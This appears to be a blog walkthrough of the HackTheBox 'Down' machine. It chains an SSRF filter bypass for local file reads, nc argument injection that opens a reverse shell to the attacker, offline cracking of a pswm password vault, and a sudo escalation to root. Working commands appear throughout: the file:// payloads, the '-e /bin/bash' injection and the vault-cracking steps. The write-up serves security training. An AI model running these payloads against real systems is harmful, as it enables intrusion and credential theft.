DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Down Writeup

Executive Summary

Down is an easy Linux machine running a simple "Is it down or just me?" web checker. The site uses curl server-side to test URLs - making it a classic SSRF target. The protocol filter (http:// or https:// only) can be bypassed by injecting a space between the allowed prefix and a file:// URI, allowing arbitrary local file reads. Reading index.php reveals hidden source code including an undocumented expertmode=tcp feature that runs nc with unsanitized input. Since the IP passes FILTER_VALIDATE_IP but the port does not strip extra arguments, appending -e /bin/bash to the port field gives a reverse shell as www-data. In the web root we find a user flag. Enumerating the filesystem reveals a pswm password manager vault in aleks's home directory. We crack it offline using a public decryptor tool and rockyou.txt, recovering aleks's SSH password. Aleks has full sudo rights, so sudo su trivially gives root.


Table of Contents

  1. Reconnaissance
  2. Web Enumeration
  3. SSRF - File Read via Protocol Bypass
  4. Source Code Disclosure
  5. Initial Access - Expert Mode Command Injection
  6. User Flag
  7. Privilege Escalation - pswm Password Vault
  8. Root Flag
  9. Attack Chain Summary
  10. Key Vulnerabilities

1. Reconnaissance

root@kali# nmap -A -Pn <TARGET_IP> -oA nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.11
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
OS: Linux 4.15 - 5.19
Enter fullscreen mode Exit fullscreen mode

Only two ports open - SSH and HTTP. No TLS, no subdomains visible from nmap. We focus on the web application.


2. Web Enumeration

Browsing to http://<TARGET_IP>/ shows a simple URL checker: "Is that website down, or is it just you?" - a form that takes a URL and pings it server-side.

We first try pointing the form at a Python HTTP server to see if there's any callback, and while we do get a hit, we can't see what files are being requested or saved — just that something connected. We also can't access any uploaded/saved files from the outside, so a Python server alone doesn't tell us much about the backend behaviour.

We switch to Netcat to catch the raw request and see exactly what the server sends:

nc -lnvp 4444
Enter fullscreen mode Exit fullscreen mode

Submitting http://<YOUR_IP>:4444 shows:

connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] 49420
GET / HTTP/1.1
Host: <YOUR_IP>:4444
User-Agent: curl/7.81.0
Accept: */*
Enter fullscreen mode Exit fullscreen mode

This immediately tells us the backend is using curl to fetch our URL — the User-Agent gives it away. That's a classic SSRF setup and also hints that we might be able to pass extra arguments to curl if input isn't sanitised properly.

Directory and path fuzzing (ffuf, gobuster) return nothing interesting beyond index.php. Trying to access the target's own localhost or internal addresses times out. We pivot to abusing the curl SSRF directly.


3. SSRF - File Read via Protocol Bypass

The form validates that URLs start with http:// or https://. Testing file:///etc/passwd directly returns:

Only protocols http or https allowed.

We try a quirk: entering http:// file:///etc/passwd (with a space between http:// and file://) in the browser. This doesn't throw an error - but it also shows nothing useful in the page output. Suspicious enough to investigate further.

We try the same thing via curl to see the raw response:

curl http://<TARGET_IP>/index.php -d 'url=http://+file:///etc/passwd'
Enter fullscreen mode Exit fullscreen mode

+ in a POST body decodes to a space — equivalent to %20.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
... [snipped]
aleks:x:1000:1000:Aleks:/home/aleks:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
Enter fullscreen mode Exit fullscreen mode

We have arbitrary local file read as www-data. The filter is bypassed — the server accepted http:// file:///etc/passwd without complaint and passed it straight to curl, which processed the file:// part and read the local file.

Notable: one non-system user - aleks - with a home directory at /home/aleks.


4. Source Code Disclosure

Since we can read local files, we read the web application's own source code to understand exactly what the server is doing:

curl http://<TARGET_IP>/index.php -d 'url=http://+file:///var/www/html/index.php'
Enter fullscreen mode Exit fullscreen mode

The response dumps the full index.php source (HTML-entity-encoded inside the page output). The key parts:

// URL check mode — the main form
} elseif (isset($_POST['url'])) {
  $url = trim($_POST['url']);
  if ( preg_match('|^https?://|', $url) ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/curl -s $url");
    exec($ec . " 2>&1", $output, $rc);
    ...
  } else {
    echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
  }
}
Enter fullscreen mode Exit fullscreen mode

This explains the bypass: preg_match('|^https?://|', $url) only checks that the string starts with http://. It doesn't validate anything that comes after. So http:// file:///etc/passwd passes the check, then escapeshellcmd is called on the whole string - but escapeshellcmd doesn't strip spaces or extra arguments, it only escapes shell metacharacters like ;, |, &. The result is that curl receives two separate arguments: the useless http:// and the real file:///etc/passwd, and happily reads the file.

The source also reveals something much more interesting - a hidden expert mode that's never linked anywhere on the site:

// Hidden expert mode - only active when ?expertmode=tcp is in the query string
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<h1>Is the port refused, or is it just you?</h1>
        <form ... action="index.php?expertmode=tcp" method="POST">
            <input type="text" name="ip" ...>
            <input type="number" name="port" ...>
        </form>';
}

// Expert mode handler
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp'
     && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip        = trim($_POST['ip']);
  $valid_ip  = filter_var($ip, FILTER_VALIDATE_IP);
  $port      = trim($_POST['port']);
  $port_int  = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);

  if ( $valid_ip && $valid_port ) {
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1", $output, $rc);
  }
}
Enter fullscreen mode Exit fullscreen mode

The expert mode takes an IP and port, validates them, then runs nc -vz <ip> <port> to check if a port is open. And there's a bug right in the validation logic — the port is validated using intval($port) but the raw original string $port is what gets passed to escapeshellcmd. That means anything appended after the integer - like -e /bin/bash — gets carried through unvalidated.


5. Initial Access - Expert Mode Command Injection

The vulnerability

escapeshellcmd is the wrong tool here. It escapes shell metacharacters like ;, |, &, and backticks — but it leaves spaces and additional arguments completely intact. So passing 4444 -e /bin/bash as the port value results in:

/usr/bin/nc -vz <YOUR_IP> 4444 -e /bin/bash
Enter fullscreen mode Exit fullscreen mode

A perfectly valid nc command that connects back and executes bash.

The IP validation (FILTER_VALIDATE_IP) is strict and correct — we can't inject there. But the port field only validates the leading integer, not the full string, leaving the rest of the value free to carry extra arguments.

Exploitation

Start a listener:

nc -lnvp 4444
Enter fullscreen mode Exit fullscreen mode

Send the exploit via curl, injecting -e /bin/bash after the port number (space-encoded as +):

curl 'http://<TARGET_IP>/index.php?expertmode=tcp' \
  -d 'ip=<YOUR_IP>&port=4444+-e+/bin/bash'
Enter fullscreen mode Exit fullscreen mode
nc -lnvp 4444
listening on [any] 4444 ...
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] ...

www-data@down:/var/www/html$ whoami
www-data
Enter fullscreen mode Exit fullscreen mode

We have a shell as www-data.


6. User Flag

Listing the web root immediately reveals an unusual file:

www-data@down:/var/www/html$ ls
index.php  logo.png  style.css  user_aeT1xa.txt

www-data@down:/var/www/html$ cat user_aeT1xa.txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

The user flag is sitting in the web root, readable by www-data.

Post-exploitation enumeration

We check aleks's home directory:

www-data@down:/var/www/html$ ls -la /home/aleks/
total 36
drwxr-xr-x 5 aleks aleks 4096 May 27  2025 .
drwxr-xr-x 3 root  root  4096 Sep 13  2024 ..
lrwxrwxrwx 1 root  root     9 May  1  2025 .bash_history -> /dev/null
drwx------ 2 aleks aleks 4096 Sep  6  2024 .cache
drwxrwxr-x 3 aleks aleks 4096 Sep  6  2024 .local
drwx------ 2 aleks aleks 4096 Sep  6  2024 .ssh
-rw-r--r-- 1 aleks aleks    0 Sep 15  2024 .sudo_as_admin_successful
Enter fullscreen mode Exit fullscreen mode

.ssh is restricted - we can't read any keys. But .local is world-writable (drwxrwxr-x). We dig in:

www-data@down:/home/aleks$ cd .local/share/pswm/
www-data@down:/home/aleks/.local/share/pswm$ ls -la
-rw-rw-r-- 1 aleks aleks 151 Sep 13  2024 pswm

www-data@down:/home/aleks/.local/share/pswm$ cat pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
Enter fullscreen mode Exit fullscreen mode

pswm is a Python-based command-line password manager. A quick Google search leads to its GitHub: seriotonctf/pswm-decryptor - a tool specifically for cracking pswm vaults offline against a wordlist.


7. Privilege Escalation - pswm Password Vault

Setting up the decryptor

git clone https://github.com/seriotonctf/pswm-decryptor
cd pswm-decryptor

# Create a venv to avoid dependency conflicts
python3 -m venv password
source password/bin/activate
pip install cryptocode prettytable
Enter fullscreen mode Exit fullscreen mode

Copy the vault content into a local file:

cat > pswm << 'EOF'
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
EOF
Enter fullscreen mode Exit fullscreen mode

Run the decryptor against rockyou.txt:

python3 pswm-decrypt.py -f pswm -w /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode
[+] Master Password: flower
[+] Decrypted Data:
+------------+----------+----------------------+
| Alias      | Username | Password             |
+------------+----------+----------------------+
| pswm       | aleks    | flower               |
| aleks@down | aleks    | 1uY3w22uc-Wr{xNHR~+E |
+------------+----------+----------------------+
Enter fullscreen mode Exit fullscreen mode

The vault contains two entries - the master password (flower, used to lock the vault) and aleks's actual system password: 1uY3w22uc-Wr{xNHR~+E.

SSH as aleks

ssh aleks@<TARGET_IP>
# Password: 1uY3w22uc-Wr{xNHR~+E

aleks@down:~$ id
uid=1000(aleks) gid=1000(aleks) groups=1000(aleks)
Enter fullscreen mode Exit fullscreen mode

Checking sudo rights

aleks@down:~$ sudo -l
[sudo] password for aleks:
Matching Defaults entries for aleks on down:
    env_reset, mail_badpass,
    secure_path=..., use_pty

User aleks may run the following commands on down:
    (ALL : ALL) ALL
Enter fullscreen mode Exit fullscreen mode

Aleks can run any command as any user. The .sudo_as_admin_successful file we saw earlier in their home directory confirms they've successfully used sudo before - and they're in the sudoers list with full rights.

aleks@down:~$ sudo su
root@down:/home/aleks# whoami
root
Enter fullscreen mode Exit fullscreen mode

8. Root Flag

root@down:~# cat /root/root.txt
[REDACTED]
Enter fullscreen mode Exit fullscreen mode

9. Attack Chain Summary

[Attacker]
    │
    ├─ 1. Nmap → port 80 (Apache), port 22 (SSH)
    │
    ├─ 2. Web enum → URL checker form, curl User-Agent confirmed via NC listener
    │
    ├─ 3. SSRF via protocol bypass: url=http://+file:///etc/passwd
    │      └─ preg_match('^https?://') passes, curl receives two args
    │         → arbitrary local file read as www-data
    │         → /etc/passwd: user "aleks" discovered
    │
    ├─ 4. SSRF → read index.php source code
    │      └─ Hidden feature: ?expertmode=tcp → nc -vz <ip> <port>
    │         Bug: port string passed raw to escapeshellcmd, intval() only validates prefix
    │
    ├─ 5. Command injection: port=4444+-e+/bin/bash
    │      └─ /usr/bin/nc -vz <YOUR_IP> 4444 -e /bin/bash
    │         → reverse shell as www-data
    │
    ├─ 6. Web root: user_aeT1xa.txt → user flag [REDACTED]
    │
    ├─ 7. /home/aleks/.local/share/pswm/pswm → encrypted password vault
    │      └─ pswm-decryptor + rockyou.txt → master: flower
    │         → aleks@down password: 1uY3w22uc-Wr{xNHR~+E
    │
    ├─ 8. SSH as aleks → sudo -l → (ALL : ALL) ALL
    │
    └─ 9. sudo su → root → root.txt [REDACTED]
Enter fullscreen mode Exit fullscreen mode

10. Key Vulnerabilities

# Vulnerability Impact Notes
1 SSRF via file:// protocol bypasspreg_match('^https?://') passes on http:// file:///... since the regex only checks the prefix. curl processes both arguments, reading local files via the second one. Arbitrary local file read as www-data Classic SSRF + escapeshellcmd does not strip spaces
2 Hidden expert mode source disclosureindex.php is readable via SSRF, revealing undocumented ?expertmode=tcp feature Exposed hidden attack surface Security through obscurity: no link to the feature, but source is readable
3 nc argument injection via port fieldintval($port) validates only the leading integer; the raw $port string including trailing -e /bin/bash is passed to escapeshellcmd, which doesn't strip arguments RCE as www-data escapeshellcmd is the wrong function — escapeshellarg on each argument separately is the correct approach
4 pswm vault with weak master password — aleks's password vault (pswm) is world-readable and encrypted only by the master password flower, crackable in seconds from rockyou.txt Full credential recovery for aleks Sensitive credential store left readable by all users
5 Unrestricted sudo — aleks has (ALL : ALL) ALL sudo rights, giving trivial privilege escalation to root Full system compromise A regular user should never have full sudo without a specific, scoped allowlist

Top comments (0)